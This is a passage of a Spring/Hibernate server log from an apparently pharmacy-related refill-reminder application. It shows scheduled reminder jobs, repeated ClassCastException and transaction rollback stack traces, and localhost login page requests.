org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 22:50:15 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/robots.txt 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 22:50:15 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 22:50:15 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/favicon.ico 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 22:50:15 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 